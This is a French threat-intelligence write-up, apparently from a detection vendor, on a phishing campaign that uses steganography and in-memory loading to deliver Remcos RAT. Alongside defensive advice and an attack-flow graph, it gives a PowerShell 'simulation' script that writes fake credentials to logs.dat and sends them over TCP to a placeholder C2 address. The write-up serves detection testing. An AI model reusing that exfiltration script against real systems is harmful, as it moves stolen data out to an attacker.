SOC Prime Bias: Élevé

24 Jun 2026 06:40 UTC

Une campagne de chargeur stéganographique en plusieurs étapes déployant des charges utiles diversifiées dans le monde entier

Author Photo
SOC Prime Team linkedin icon Suivre
Une campagne de chargeur stéganographique en plusieurs étapes déployant des charges utiles diversifiées dans le monde entier
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une campagne de malwares en plusieurs étapes repose sur la stéganographie et l’exécution en mémoire pour livrer plusieurs charges utiles, y compris Remcos RAT. La chaîne d’infection commence par un e-mail de phishing contenant une archive malveillante qui dépose un exécutable .NET. Cet exécutable utilise des ressources intégrées et des méthodes stéganographiques pour charger les étapes suivantes directement en mémoire, aidant le malware à éviter la détection basée sur le disque.

Enquête

L’enquête a commencé après que la télémétrie a signalé un fichier suspect nommé GST Debit Note Apr_26.com. Les analystes ont déterminé que le fichier était un exécutable .NET 32 bits emballé déguisé en jeu. Une ingénierie inverse plus poussée a révélé une stéganographie intégrée dans un objet Bitmap .NET, qui dissimulait le chargeur de l’étape suivante, Optimax.dll, et lui permettait de s’exécuter entièrement en mémoire.

Atténuation

Les organisations devraient déployer un filtrage d’email efficace pour bloquer les pièces jointes d’archive suspectes et les tentatives de phishing. Les solutions EDR devraient être capables de détecter l’exécution en mémoire, le creux de processus et le comportement suspect de PowerShell. Les équipes devraient également surveiller les changements non autorisés dans le registre, en particulier dans les clés Run, et appliquer un contrôle strict des applications pour empêcher le lancement d’exécutables non signés.

Réponse

Les points d’extrémité affectés doivent être isolés immédiatement pour limiter le mouvement latéral et le vol de données. Les enquêteurs devraient effectuer une analyse forensique de la mémoire pour identifier les composants sans fichier et confirmer la présence du Remcos_Mutex_Inj mutex. Une vérification complète devrait également rechercher une persistance non autorisée dans le répertoire AppData et les clés Run du registre, tandis que les identifiants devraient être réinitialisés pour tous les utilisateurs dont les navigateurs ont pu être accédés par le malware.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[« <b>Action</b> – <b idea=’T1566.001’>Phishing: Spearphishing Attachment</b><br/><b>Details</b>: Malicious archive GST Debit Note Apr_26.com sent to victims. »] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[« <b idea=’T1027.003’>Obfuscated Files or Information: Steganography</b><br/><b>Details</b>: Hiding Optimax.dll inside a serialized .NET Bitmap object<br/>within the executable resource section. »] class evasion_stego technique exec_appdomain[« <b idea=’T1574.014’>Hijack Execution Flow: AppDomainManager</b><br/><b>Details</b>: Using reflection and AppDomain.Load to execute<br/>payload directly from memory without touching disk. »] class exec_appdomain technique %% Second Stage loader_stage2[« <b idea=’T1055.012’>Process Injection: Process Hollowing</b><br/><b>Details</b>: System Optimizer Ultimate.dll deploys final payload<br/>by hollowing a default browser process. »] class loader_stage2 technique malware_remcos[« <b idea=’Malware’>Remcos RAT</b><br/><b>Description</b>: Remote Access Trojan deployed<br/>as the final payload. »] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[« <b idea=’T1497’>Virtualization/Sandbox Evasion</b><br/><b>Details</b>: Checking for sbiedll.dll and registry keys<br/>to detect sandboxes or virtual machines. »] class evasion_sandbox technique persistence_active[« <b idea=’T1547.014’>Boot or Logon Autostart Execution: Active Setup</b><br/><b>Details</b>: Copying malware to AppDataRoaming and<br/>configuring a Run registry key for persistence. »] class persistence_active technique %% Collection and Exfiltration collect_browser[« <b idea=’T1217’>Browser Information Discovery</b><br/><b>Details</b>: Collecting Chrome and Firefox credentials. »] class collect_browser technique steal_cookies[« <b idea=’T1539’>Steal Web Session Cookie</b><br/><b>Details</b>: Capturing active web session cookies. »] class steal_cookies technique exfil_c2[« <b idea=’T1041’>Exfiltration Over C2 Channel</b><br/><b>Details</b>: Sending captured data from logs.dat<br/>to the attacker via Command and Control. »] class exfil_c2 technique file_logs[« <b idea=’File’>logs.dat</b><br/><b>Description</b>: Local file used to store<br/>stolen credentials and cookies. »] class file_logs file %% Connections %% Flow of attack attack_phishing –>|leads_to| evasion_stego evasion_stego –>|unpacks| exec_appdomain exec_appdomain –>|loads| loader_stage2 loader_stage2 –>|deploys| malware_remcos %% Malware actions malware_remcos –>|performs| evasion_sandbox malware_remcos –>|establishes| persistence_active malware_remcos –>|performs| collect_browser collect_browser –>|leads_to| steal_cookies steal_cookies –>|saves_to| file_logs file_logs –>|sent_via| exfil_c2

Flux d’Attaque

Exécution de la Simulation

Condition Préalable : L’examen pré-vol de la télémétrie & ligne de base doit avoir été passé.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à un mauvais diagnostic.

  • Narratif d’attaque & Commandes : L’adversaire a réussi à établir un point d’appui. Pour atteindre l’objectif, ils collectent la télémétrie du système et la stockent dans un fichier nommé logs.dat pour se faire passer pour des journaux systèmes standards. L’adversaire initie ensuite une connexion réseau à l’infrastructure C2 établie (en utilisant l’IP 1.2.3.4 et le port 37393 pour cette simulation) pour exfiltrer les données. Cela imite le comportement d’un chargeur stéganographique tentant de déplacer des données hors du réseau via un canal spécifique et hardcodé.

  • Script de Test de Régression :

    # Simulation de l'exfiltration de données via un nom de fichier et des paramètres C2 spécifiques
    $C2_IP = "1.2.3.4" # IP C2 simulée
    $C2_PORT = 37393
    $FILENAME = "logs.dat"
    
    # 1. Créez le fichier de données 'malveillant'
    Write-Output "Données Sensibles : UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"
    
    # 2. Simuler la connexion réseau au C2
    # Utiliser un client TCP pour forcer la télémétrie spécifique du port/IP
    try {
        $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
        $stream = $client.GetStream()
        $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
        $stream.Write($data, 0, $data.Length)
        $client.Close()
    } catch {
        Write-Host "Connexion échouée (attendu si l'IP est inexistante), mais la télémétrie devrait être capturée par le pare-feu."
    }
  • Commandes de Nettoyage :

    # Supprimer le fichier malveillant simulé
    Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue